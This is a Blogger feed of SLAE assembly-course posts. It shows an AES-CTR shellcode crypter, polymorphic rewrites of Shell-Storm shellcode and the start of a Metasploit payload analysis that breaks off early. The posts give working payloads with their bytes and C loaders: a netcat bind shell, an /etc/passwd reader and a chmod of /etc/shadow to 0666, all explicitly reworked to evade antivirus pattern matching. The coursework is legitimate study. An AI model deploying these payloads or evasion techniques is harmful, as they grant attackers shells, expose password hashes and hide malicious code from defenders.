tag:blogger.com,1999:blog-10759960462555394102024-03-14T03:03:09.165+01:00Gr3tian bl0gWired surfing in the information seaSinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.comBlogger48125tag:blogger.com,1999:blog-1075996046255539410.post-80705600674191510492017-11-01T23:46:00.002+01:002017-11-01T23:47:58.555+01:00Assignment 7: Crypter (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise</h3>
<ul>
<li>Create a custom crypter like the one shown in the "crypters" video</li>
</ul>
<ul>
<li>Free to use any existing encryption schema</li>
</ul>
<ul>
<li>Can use any programming language</li>
</ul>
<h3>
</h3>
<h3>
Solution</h3>
<h3>
</h3>
<h3>
</h3>
To complete the last exercise I have used the <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES encryption algorithm</a>
with the block cipher mode CTR (Counter), one of the most recommended
modes of encryption.<br />
<br />
This mode turns a block cipher into a stream
cipher. It generates the next keystream block by encrypting successive
values of a "counter". To read more, go to <a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29">Wikipedia</a><br />
<br />
So, as I am very comfortable programming in Python, I have used this language to make my crypter/decrypter.<br />
<br />
I have used a module that implement AES in Python, the module is <a href="https://github.com/ricmoo/pyaes">pyaes</a><br />
The installation of this module is very easy, and can be installed with pip.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ pip install pyaes
</code></pre>
<br />
I have created a command line program to generate the encrypted shellcode, and the same program using another arguments can be used to decrypt an encrypted shellcode.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">#!/usr/bin/env python
import struct
import sys
import pyaes
import os
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
# encrypt or decrypt
method = sys.argv[1]
# A 256 bit (32 byte) key
key = sys.argv[2]
encrypted_shellcode = ""
if method == 'decrypt':
encrypted_shellcode = sys.argv[3]
if len(key) != 16 and len(key) != 32:
print "[-] Error: Invalid key length"
sys.exit(0)
counter = pyaes.Counter(initial_value = 100)
aes = pyaes.AESModeOfOperationCTR(key, counter = counter)
if (method == "encrypt"):
encrypted_shellcode = aes.encrypt(shellcode)
eShellcode = ""
for x in bytearray(encrypted_shellcode) :
eShellcode += '\\x'
eShellcode += '%02x' % x
print "[+] Encrypted shellcode: %s"%(eShellcode)
elif (method == "decrypt"):
shellcode = aes.decrypt(encrypted_shellcode.decode("hex"))
eShellcode = ""
for x in bytearray(shellcode) :
eShellcode += '\\x'
eShellcode += '%02x' % x
print "[*] Decrypted shellcode: %s"%eShellcode
c_code = '''
#include<stdio .h="">
#include<string .h="">
unsigned char code[] = \"%s\";
int main() {
printf(\"Shellcode Length: %%d\", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
'''%eShellcode
f = open("shellcode.c","w")
f.write(c_code)
f.close()
print "[*] Compiling shellcode.c\n%s"%c_code
os.system("gcc -fno-stack-protector -z execstack shellcode.c -o shellcode")
print "[+] Launching shellcode..."
os.system("./shellcode")
</string></stdio></code></pre>
The sintax to use the program:<br />
<br />
To encrypt:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;">$ ./aes-ctr.py encrypt <span class="pl-k"><</span>16/32 bytes hex password<span class="pl-k">></span></pre>
<br />
To decrypt:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;">$ ./aes-ctr.py decrypr <span class="pl-k"><</span>16/32 bytes hex password<span class="pl-k">></span> <span class="pl-k"><</span>encrypted shellcode<span class="pl-k">></span></pre>
<br />
Example of usage: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ ./aes-ctr.py encrypt 0123456789abcdef0123456789abcdef
[+] Encrypted shellcode: \xd3\xa0\xf8\xd2\xfa\xbf\x28\xfc\x6b\x0c\x0b\xc2\xee\x4c\x01\xd9\x69\xb8\xcd\x96\xb2\x28\x18\x5b\xb3
$ ./aes-ctr.py decrypt 0123456789abcdef0123456789abcdef d3a0f8d2fabf28fc6b0c0bc2ee4c01d969b8cd96b228185bb3
[*] Decrypted shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
[*] Compiling shellcode.c
#include<stdio .h="">
#include<string .h="">
unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
printf("Shellcode Length: %d", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
[+] Launching shellcode...
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$
</string></stdio></code></pre>
<br />
<br />
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment7">https://github.com/Sinkmanu/SLAE/tree/master/Assignment7</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-10269883195436205832017-10-25T00:14:00.001+02:002017-10-25T00:16:38.930+02:00Assignment 6: Polymorphic Shellcode (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise</h3>
<ul>
<li>Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching</li>
</ul>
<ul>
<li>The polymorphic versions cannot be larger 150% of the existing shellcodee </li>
</ul>
<ul>
<li>Bonus points for making it shorter in length than original</li>
</ul>
<br />
<h3>
Solution</h3>
I chose the shellcodes:<br />
<ol>
<li>Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode - Shellcode that listen on port 17771 and give a shell (/bin/sh)</li>
<li>Linux x86 file reader - Shellcode that open a file and read it</li>
<li>Linux/x86 chmod("/etc/shadow", 0666) shellcode</li>
</ol>
<br />
<h4>
Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode</h4>
<br />
I downloaded, analyzed and create my polymorphic shellcode from <a href="http://shell-storm.org/shellcode/files/shellcode-872.php">http://shell-storm.org/shellcode/files/shellcode-872.php</a> <br />
<br />
<h4>
Shellcode Analysis</h4>
<br />
It is a very easy shellcode where it is just using the execve syscall
with the parameter "/bin/nc -le /bin/sh -vp 17771". So, We can see how
is pushing the strings on the stack and saving the stack pointer on the
registers.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> xor eax, eax
xor edx, edx
push eax
push 0x31373737 ;-vp17771
push 0x3170762d
mov esi, esp</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push eax
push 0x68732f2f ;-le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push eax
push 0x636e2f2f ;/bin//nc
push 0x6e69622f
mov ebx, esp</code>
</pre>
<br />
Just execute the execve syscall:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push edx
push esi
push edi
push ebx
mov ecx, esp
mov al,11
int 0x80</code>
</pre>
<br />
<h4>
Polymorphic Shellcode</h4>
<br />
Creating a polymorphic shellcode, I have used different methods. To the "-vp17771" I have used the mov instruction on the stack: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> mov dword [esp - 4], 0x31373737
mov dword [esp - 8], 0x3170762d
sub esp, 8
mov esi, esp</code>
</pre>
<br />
To do the "-le//bin//sh" I have used the push instruction but with a polymorphic calculation of the data, doing add and sub instructions: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push eax
mov eax, 0x68732f2f
push eax
add eax, 0x5f63301
sub eax, 1
push eax
sub eax, 0x3f03f602
push eax</code>
</pre>
<br />
To do the "/bin/nc" I continued doing the add instruction to create the correct string (/bin/sh): <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push edx
add eax, 0x3408c302
push eax
add eax, 0xafb3301
sub eax, 1
push eax
mov ebx, esp
mov eax, edx</code>
</pre>
<br />
So, the final shellcode is: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">global _start
section .text
_start:
xor eax, eax
mov edx, eax
push eax
; push 0x31373737 ;-vp17771
; push 0x3170762d
mov dword [esp - 4], 0x31373737
mov dword [esp - 8], 0x3170762d
sub esp, 8
mov esi, esp
push eax
mov eax, 0x68732f2f
push eax
add eax, 0x5f63301
sub eax, 1
push eax
sub eax, 0x3f03f602
push eax
; mov dword [esp - 4], 0x68732f2f
; mov dword [esp - 8], 0x6e69622f
; mov dword [esp - 12], 0x2f656c2d
; sub esp, 12
; push 0x68732f2f ;-le//bin//sh
; push 0x6e69622f
; push 0x2f656c2d
mov edi, esp
push edx
; push eax
; push 0x636e2f2f ;/bin//nc
; push 0x6e69622f
add eax, 0x3408c302
push eax
add eax, 0xafb3301
sub eax, 1
push eax
mov ebx, esp
mov eax, edx
push edx
push esi
push edi
push ebx
mov ecx, esp
mov al,11
int 0x80</code>
</pre>
<br />
Compile, test and calcule the %: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ nasm -f elf32 netcat.nasm -o netcat.o
$ ld netcat.o -o netcat
$ objdump -d ./netcat|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc2\x50\xc7\x44\x24\xfc\x37\x37\x37\x31\xc7\x44\x24\xf8\x2d\x76\x70\x31\x83\xec\x08\x89\xe6\x50\xb8\x2f\x2f\x73\x68\x50\x05\x01\x33\xf6\x05\x83\xe8\x01\x50\x2d\x02\xf6\x03\x3f\x50\x89\xe7\x52\x05\x02\xc3\x08\x34\x50\x05\x01\x33\xfb\x0a\x83\xe8\x01\x50\x89\xe3\x89\xd0\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"</code>
</pre>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ cat netcat-new.c
#include <stdio .h="">
#include <string .h="">
unsigned char shellcode[] =
"\x31\xc0\x89\xc2\x50\xc7\x44\x24\xfc\x37\x37\x37\x31\xc7\x44\x24\xf8\x2d\x76\x70\x31\x83\xec\x08\x89\xe6\x50\xb8\x2f\x2f\x73\x68\x50\x05\x01\x33\xf6\x05\x83\xe8\x01\x50\x2d\x02\xf6\x03\x3f\x50\x89\xe7\x52\x05\x02\xc3\x08\x34\x50\x05\x01\x33\xfb\x0a\x83\xe8\x01\x50\x89\xe3\x89\xd0\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
$ gcc -fno-stack-protector -z execstack netcat-new.c -o netcat-new
$ ./netcat-new
Shellcode Length: 80
listening on [any] 17771 ...</string></stdio></code>
</pre>
<br />
Finally, we have a shellcode with length 80 and the original shellcode has length 58, so we have increased the shellcode 37.93%.<br />
<br />
<h4>
Linux x86 file reader</h4>
<br />
I got the shellcode from <a href="http://shell-storm.org/shellcode/files/shellcode-73.php">http://shell-storm.org/shellcode/files/shellcode-73.php</a><br />
<h4>
</h4>
<h4>
</h4>
<h4>
Shellcode Analysis </h4>
<br />
This shellcode uses the jump call pop technique to get the string
with the file path, and it is using four syscalls, sys_open, sys_read,
sys_write and sys_exit.<br />
<br />
First, get the filename:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">
jmp two
one:
pop ebx
...
two:
call one
.string db "/etc/passwd"
</code></pre>
<br />
Second, open the file and save the file descriptor: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> pop ebx
mov al, 5
xor ecx, ecx
int 0x80
mov esi, eax
</code></pre>
<br />
Third, read and write character by character until EOF: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">read:
mov ebx, esi
mov al, 3
sub esp, 1
lea ecx, [esp]
mov dl, 1
int 0x80
xor ebx, ebx
cmp ebx, eax
je exit
mov al, 4
mov bl, 1
mov dl, 1
int 0x80
add esp, 1
jmp read
</code></pre>
<br />
When EOF is reached, Exit syscall is executed <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">exit:
mov al, 1
xor ebx, ebx
int 0x80
</code></pre>
<br />
<h4>
Polymorphic Shellcode</h4>
<br />
As our goal is to do the shellcode polymorphic and more undetectable to the AVs. We started encoding the filename string with a simple not encoder.<br />
<br />
Encode string with NOTs: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ echo -e 'import ctypes\nimport sys\nf="/etc/passwd"\nfor i in f:\n\tsys.stdout.write(hex(ctypes.c_uint8(~ord(i)).value)+",")\nsys.stdout.write("\\nLength: %s\\n"%len(f))' | python
0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b,
Length: 11
</code></pre>
<br />
We still using the jump call pop technique, but we have to decode the filename. <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> jmp two
one:
pop ebx
; Decode string
mov cl, 11 ; File path length
decode:
not byte [ebx]
inc ebx
loop decode
sub ebx, 11 ; Restore the address string
...
two:
call one
.string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not
</code></pre>
<br />
After we open the file, read and write, as it is a polymorphic shellcode I have changed some values that they were static and now it is being generated in runtime.
Final shellcode: <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">global _start
_start:
xor eax, eax
mov ebx, eax
mov ecx, eax
mov edx, eax
jmp two
one:
pop ebx
; Decode string
mov cl, 11 ; File path length
decode:
not byte [ebx]
inc ebx
loop decode
sub ebx, 11 ; Restore the address string
mov al, 5
xor ecx, ecx
int 0x80
mov esi, eax
jmp read
exit:
mov al, dl
xor ebx, ebx
int 0x80
read:
mov ebx, esi
mov al, 3
sub esp, 1
lea ecx, [esp]
mov dl, 1
int 0x80
xor ebx, ebx
cmp ebx, eax
je exit
mov bl, 1
mov al, bl
add al, 3
mov dl, bl
int 0x80
add esp, 1
jmp read
two:
call one
.string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not
</code></pre>
<br />
Compile, test and calcule the %:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ nasm -f elf32 read.nasm -o read.o
$ ld read.o -o read
$ objdump -d ./read|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x3e\x5b\xb1\x0b\xf6\x13\x43\xe2\xfb\x83\xeb\x0b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\x88\xd0\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb3\x01\x88\xd8\x04\x03\x88\xda\xcd\x80\x83\xc4\x01\xeb\xdd\xe8\xbd\xff\xff\xff\xd0\x9a\x8b\x9c\xd0\x8f\x9e\x8c\x8c\x88\x9b"
</code></pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ cat read.c
#include <stdio .h="">
#include <string .h="">
unsigned char shellcode[] =
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xeb\x3e\x5b\xb1\x0b\xf6\x13\x43\xe2\xfb\x83\xeb\x0b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\x88\xd0\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb3\x01\x88\xd8\x04\x03\x88\xda\xcd\x80\x83\xc4\x01\xeb\xdd\xe8\xbd\xff\xff\xff\xd0\x9a\x8b\x9c\xd0\x8f\x9e\x8c\x8c\x88\x9b";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
$ gcc -fno-stack-protector -e execstack read-new.c -o read-new
$ ./read-new
Shellcode Length: 88
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
....
</string></stdio></code></pre>
<br />
The original shellcode has 65 bytes + pathname, and our shellcode has 77 bytes + pathname, so we have increased the shellcode 18.46%<br />
<br />
<br />
<h4>
Linux/x86 chmod("/etc/shadow", 0666) shellcode</h4>
<h4>
</h4>
<br />
The following shellcode change the permissions of the /etc/shadow file using the syscall sys_chmod.<br />
<br />
<h4>
Shellcode Analysis</h4>
<br />
The sys_chmod syscall is 0xf, so, save in the eax register 0xf<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push byte 15
pop eax
</code></pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">int chmod(const char *pathname, mode_t mode);
</code></pre>
<br />
now, we need the pathname in ebx and the mode (666) in ecx.<br />
/etc/shadow in ebx:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push byte 0x77
push word 0x6f64
push 0x6168732f
push 0x6374652f
mov ebx, esp
</code></pre>
<br />
666 in ecx:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> push word 0666Q
pop ecx
</code></pre>
<br />
After, just exec the syscall (In addition, the exit syscall is executed at the end):<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> int 0x80
push byte 1
pop eax
int 0x80
</code></pre>
<br />
<h4>
Polymorphic Shellcode</h4>
<br />
My polymorphic shellcode works same but it is generating the pathname on the way.<br />
<br />
Saving the sys_chmod in eax:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> xor edx, edx
xor eax, eax
add eax, 0xf
</code></pre>
<br />
Generating the pathname:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> mov ecx, 0x11
add ecx, 0x66
push ecx
add ecx, 0x6eed
push cx
add ecx, 0x616803cb
push ecx
push 0x6374652f
mov ebx, esp
</code></pre>
<br />
Set the mode and run the syscall:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;"> xor ecx, ecx
mov cx, 0x1b6
int 0x80
push byte 1
pop eax
int 0x80
</code></pre>
<br />
Compile and run:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">$ nasm -f elf32 chmod.nasm -o chmod.o
$ ld chmod.o -o chmod
$ objdump -d ./chmod|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x31\xc0\x83\xc0\x0f\x89\xd1\x52\xb1\x11\x80\xc1\x66\x51\x66\x81\xc1\xed\x6e\x66\x51\x81\xc1\xcb\x03\x68\x61\x51\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x66\xb9\xb6\x01\xcd\x80\x6a\x01\x58\xcd\x80"
$ cat chmod-new.c
#include <stdio .h="">
#include <string .h="">
unsigned char shellcode[] =
"\x31\xd2\x31\xc0\x83\xc0\x0f\x89\xd1\x52\xb1\x11\x80\xc1\x66\x51\x66\x81\xc1\xed\x6e\x66\x51\x81\xc1\xcb\x03\x68\x61\x51\x68\x2f\x65\x74\x63\x89\xe3\x31\xc9\x66\xb9\xb6\x01\xcd\x80\x6a\x01\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
# gcc -fno-stack-protector chmod-new.c -o chmod-new
# ls -la /etc/shadow
-rw-r----- 1 root shadow 1333 feb 21 2017 /etc/shadow
# ./chmod-new
Shellcode Length: 50
# ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1333 feb 21 2017 /etc/shadow
</string></stdio></code></pre>
<br />
The original shellcode has 39 bytes and our shellcode has 50 bytes, so we have increased the shellcode 38.89%<br />
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment6">https://github.com/Sinkmanu/SLAE/tree/master/Assignment6</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-35991505816669786542017-07-16T19:41:00.001+02:002017-07-16T19:46:05.406+02:00Assignment 5: Metasploit Shellcode Analysis (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise</h3>
<ul>
<li>Take up at least 3 shellcode sambles created using Msfpayload for linux/x86 </li>
</ul>
<ul>
<li>Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode </li>
</ul>
<ul>
<li>Present your analysis</li>
</ul>
<h3>
</h3>
<h3>
</h3>
<h3>
Solution</h3>
I chose the shellcodes:<br />
<ol>
<li>linux/x86/chmod - Runs chmod on specified file with specified mode</li>
<li>linux/x86/read_file - Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor</li>
<li>linux/x86/exec - Execute an arbitrary command </li>
</ol>
<br />
<a class="anchor" href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment5#linuxx86chmod" id="user-content-linuxx86chmod"><svg class="octicon octicon-link" height="16" viewbox="0 0 16 16" width="16"><path d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z" fill-rule="evenodd"></path></svg></a><b>linux/x86/chmod</b><br />
<br />
For the first example, we added a file named "slae.txt" and our
shellcode generated with metasploit would change the file permissions
(0666).<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code style="color: black; word-wrap: normal;">root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
